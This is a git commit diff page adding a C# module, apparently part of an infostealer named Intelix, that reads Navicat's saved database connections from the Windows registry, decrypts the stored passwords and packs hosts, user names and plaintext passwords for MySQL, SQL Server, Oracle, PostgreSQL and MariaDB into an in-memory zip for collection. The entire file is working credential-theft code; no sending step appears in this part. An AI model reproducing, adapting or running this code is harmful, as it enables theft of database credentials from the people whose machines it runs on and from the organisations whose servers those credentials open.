initial commit
This commit is contained in:
@@ -0,0 +1,63 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
using Intelix.Helper.Data;
|
||||
using Intelix.Helper.Encrypted;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Intelix.Targets.Applications;
|
||||
|
||||
public class Navicat : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
Dictionary<string, string> dictionary = new Dictionary<string, string>
|
||||
{
|
||||
["Navicat"] = "MySql",
|
||||
["NavicatMSSQL"] = "SQL Server",
|
||||
["NavicatOra"] = "Oracle",
|
||||
["NavicatPG"] = "pgsql",
|
||||
["NavicatMARIADB"] = "MariaDB"
|
||||
};
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "Navicat";
|
||||
Navicat11Cipher navicat11Cipher = new Navicat11Cipher();
|
||||
foreach (string key in dictionary.Keys)
|
||||
{
|
||||
string text = "Software\\PremiumSoft\\" + key + "\\Servers";
|
||||
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(text);
|
||||
if (registryKey == null)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
string text2 = dictionary[key];
|
||||
string[] subKeyNames = registryKey.GetSubKeyNames();
|
||||
foreach (string text3 in subKeyNames)
|
||||
{
|
||||
RegistryKey registryKey2 = registryKey.OpenSubKey(text3);
|
||||
if (registryKey2 != null)
|
||||
{
|
||||
object value = registryKey2.GetValue("Host");
|
||||
object value2 = registryKey2.GetValue("UserName");
|
||||
object value3 = registryKey2.GetValue("Pwd");
|
||||
string text4 = value.ToString();
|
||||
string text5 = value2.ToString();
|
||||
string ciphertext = value3.ToString();
|
||||
string text6 = navicat11Cipher.DecryptString(ciphertext);
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
stringBuilder.AppendLine("DatabaseType: " + text2);
|
||||
stringBuilder.AppendLine("ConnectName: " + text3);
|
||||
stringBuilder.AppendLine("Host: " + text4);
|
||||
stringBuilder.AppendLine("UserName: " + text5);
|
||||
stringBuilder.AppendLine("Password: " + text6);
|
||||
string text7 = "Navicat\\" + text2 + "\\" + text3 + "\\connection.txt";
|
||||
zip.AddTextFile(text7, stringBuilder.ToString());
|
||||
counterApplications.Files.Add(text + "\\" + text3 + " => " + text7);
|
||||
}
|
||||
}
|
||||
}
|
||||
if (counterApplications.Files.Count > 0)
|
||||
{
|
||||
counter.Applications.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user